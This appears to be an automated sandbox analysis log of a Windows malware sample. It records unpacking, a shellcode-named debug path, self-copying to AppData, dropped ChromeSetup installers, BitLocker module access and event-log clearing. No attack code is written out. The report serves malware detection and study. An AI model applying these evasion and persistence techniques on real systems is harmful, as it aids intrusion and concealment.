Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: FIWszl1A8l.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: FIWszl1A8l.exe

Static file information: File size 3213672 > 1048576

Source: FIWszl1A8l.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2c2200

Source: FIWszl1A8l.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: UpdaterSetup.exe.pdb source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbBQ source: powershell.exe, 0000000D.00000002.1442464615.0000000006FC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbw source: powershell.exe, 0000000D.00000002.1442901248.0000000007013000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.1416194201.0000000002A77000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Release\Code_Shellcode.pdb source: FIWszl1A8l.exe, FIWszl1A8l.exe, 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, FIWszl1A8l.exe, 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: \Release\Code_Shellcode.pdb,''GCTL source: FIWszl1A8l.exe, 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, FIWszl1A8l.exe, 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbl source: powershell.exe, 0000000D.00000002.1442901248.0000000007013000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: UpdaterSetup.exe.pdbP source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr
Source:	Binary string: updater.exe.pdb source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr
Source:	Binary string: updater.exe.pdbP source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Unpacked PE file: 0.2.FIWszl1A8l.exe.400000.0.unpack

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D07490 wsprintfW,LoadLibraryW,GetProcAddress,MultiByteToWideChar,swprintf,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,FreeLibrary,

6_2_02D07490

Source: FIWszl1A8l.exe.0.dr	Static PE information: real checksum: 0x318112 should be: 0x318989
Source: FIWszl1A8l.exe	Static PE information: real checksum: 0x318112 should be: 0x318989

Source: FIWszl1A8l.exe	Static PE information: section name: .didata
Source: FIWszl1A8l.exe.0.dr	Static PE information: section name: .didata
Source: ChromeSetup[1].exe.0.dr	Static PE information: section name: CPADinfo
Source: ChromeSetup[1].exe.0.dr	Static PE information: section name: malloc_h
Source: ChromeSetup.exe.0.dr	Static PE information: section name: CPADinfo
Source: ChromeSetup.exe.0.dr	Static PE information: section name: malloc_h

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_044B632D push eax; ret	4_2_044B6341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_044B3ACD push ebx; retf	4_2_044B3ADA
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FB8600 push ecx; ret	6_3_03FB8613
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D14345 push ecx; ret	6_2_02D14358
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D2A0B8 push eax; ret	6_2_02D2A119
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D2A168 push eax; ret	6_2_02D2A119
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D22450 push ebp; retf	6_2_02D22474
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D22470 push ebp; retf	6_2_02D22474
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D22471 push ebp; retf	6_2_02D22474
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00979DF5 push ecx; ret	6_2_00979E08
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0098FE9A push ecx; ret	6_2_0098FEBF
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0092CAFF push eax; retf	6_2_0092CB00
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0092CB07 pushad ; retf	6_2_0092CB08
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0092CB0B push 701000CBh; retf	6_2_0092CB10
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_0092CB61 pushfd ; retf	6_2_0092CB64
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00929DCC push ecx; ret	6_2_00929DDF
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02833D04 push ecx; ret	6_2_02833D17
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02C799C5 push esp; iretd	13_2_02C799C9

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	File created: C:\Users\user\Downloads\ChromeSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	File created: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\ChromeSetup[1].exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D0B3C0 OpenEventLogW,OpenEventLogW,ClearEventLogW,CloseEventLog,

6_2_02D0B3C0

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Key value created or modified: HKEY_CURRENT_USER\Console\0 9e9e85e05ee16fc372a0c7df6549fbd4

Jump to behavior

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
